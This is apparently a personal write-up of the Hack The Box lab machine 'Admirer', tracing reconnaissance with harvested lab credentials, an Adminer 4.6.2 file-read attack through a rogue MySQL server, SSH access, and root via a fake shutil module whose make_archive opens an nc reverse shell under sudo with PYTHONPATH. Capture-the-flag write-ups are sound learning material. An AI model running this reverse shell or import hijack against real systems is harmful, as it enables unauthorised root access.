# Hack The Box : Admirer

Contents

## Reconnaissance

[FTP account]
ftpuser
%n?4Wz}R$tTF7 [Wordpress account] admin w0rdpr3ss01!  ### FTP Credentials found previously allowed me to connect to the FTP with ftpuser. I grabbed both the archive and the sql dump on my machine to analyze them. The dump was really interesting. I only got the MariaDB version and information about pictures on the home page (nothing exploitable). The archive contained much more information (too much maybe). There were a lot of credentials (bank account, mail, wordpress logins, …). I found database credentials in index.php but since my nmap scan didn’t reveal any databse port (like 3306 for example) I didn’t found a good way to exploit them. Few more php files in the utility-scripts. admin-task.php seemed to be the way to gain access to the server. <h3>Admin Tasks Web Interface (v0.01 beta)</h3> <?php // Web Interface to the admin_tasks script // if(isset($_REQUEST['task']))
{
$task =$_REQUEST['task'];
if($task == '1' ||$task == '2' || $task == '3' ||$task == '4' ||
$task == '5' ||$task == '6' || $task == '7') { /*********************************************************************************** Available options: 1) View system uptime 2) View logged in users 3) View crontab (current user only) 4) Backup passwd file (not working) 5) Backup shadow file (not working) 6) Backup web data (not working) 7) Backup database (not working) NOTE: Options 4-7 are currently NOT working because they need root privileges. I'm leaving them in the valid tasks in case I figure out a way to securely run code as root from a PHP page. ************************************************************************************/ echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh$task 2>&1"));
}
else
{
}
}
?>


However it was impossible to inject any kind of command here since the input was filtered. After this I found even more credentials in db_admin.php.

<?php
$servername = "localhost";$username = "waldo";
$password = "Wh3r3_1s_w4ld0?"; // Create connection$conn = new mysqli($servername,$username, $password); // Check connection if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error); } echo "Connected successfully"; // TODO: Finish implementing this or find a better open source alternative ?>  This page didn’t exist when I tried to access it. At this point I found a lot of credentials and I decided to try to bruteforce SSH. It failed badly. I read every file I found and something appeared to me. TODO: Finish implementing this or find a better open source alternative If I couldn’t access db_admin.php this could only mean that the developper found “a better open source alternative”. Actually first time I read box name I tought it was “AdmiNer” then my friend told me “Bro it’s AdmiRer not AdmiNer” and I was like “Oh …". I thinked again and tought that this could be a play on words. I used by the past a tool called Adminer to manage easily small databases. Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a single file ready to deploy to the target server. Adminer is available for MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDD 1. I hadn’t anything to lose so I just tried http://10.10.10.187/utility-scripts/adminer.php “Hey bro, I was right I guess …” ## Exploitation ### Adminer First thing I’ve done when I found this page was to try every logins I collected so far. None of them worked. It was obvious that it was something about Adminer. So I stated exploits for this specific version (4.6.2). After some time, I found an article revealing a huge vulnerability in Adminer up to version 4.6.2 (included). Basically all I had to do was to set a mysql-server on my machine, create a database, create a table with a single column, login to my database on the victim’s Adminer and from there I could dump any local file. create database exploit; use exploit; create table dmp(content varchar(5000));  Again some credentials for database. However a lot of people are using same password for multiple things. waldo was one of them. I could connect to SSH using his username and password &<h5b~yK3F#{PaPB&dA}{H> ╭─atsika@debian ~ ╰─$ ssh waldo@10.10.10.187

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed May  6 22:31:02 2020 from 10.10.14.184
waldo@admirer:~$ ## Privilege Escalation I’m now logged as waldo and next step is to get root. Basic thing to do when logged is enumeration by the way so here we go again … First looking at sudo -l revealed me that waldo could execute /opt/scripts/admin_tasks.sh as root. Interesting. After analyzing the script, something caught my attention. backup_web() { if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}


This part of the script was calling a python script in the same directory.

#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)


Since admin_tasks.sh could be executed as root, calling backup.py from it would result in same elevated privileges. Hovewer there were no paramaters I could pass to the script to change its behaviour.
That’s what I thought …
Thanks to léco for sharing with me his idea of changing the python’s import. I discovered (while reading this) that I could change path where python will look for shutil. So if I change this path and create “my own shutil” I would be able to make this script execute anything I want (a root shell maybe ?).
First I needed to create my own shutil.py with the “make_archive” function (because this is what is imported).

import os

def make_archive(a, b, c): # need 3 paramaters like the real function even if they won't be used
os.system('nc 10.10.15.245 4444 -e "/bin/sh"')


Now I guess you understood what I did there. In case you didn’t, I used the os module so I can call system function and then execute any command. In this case I decided to start a reverse shell using nc.
Ì set up a listener on my machine and just executed the script (without forgeting to change PYTHONPATH so python would look for shutil first in the directory I specified him) to get a root shell :)

╭─atsika@debian ~
╰─$nc -lvnp 4444 listening on [any] 4444 ...  $ sudo PYTHONPATH=/tmp/fakeshutil /opt/scripts/admin_tasks.sh


## Conclusion

This was a very nice box. Enumeration was a point I really wanted to practice and this was a perfect opportunity. There were a lot of rabbit holes and I had to find what information were relevant and what not.
I also discoverd a new technique of privilege escalation using python hijacking (in fact it’s a privilege escalation because sudo was used there but still nice technique).
Shoutout to léco ! You can find his Admirer writeup in french right here.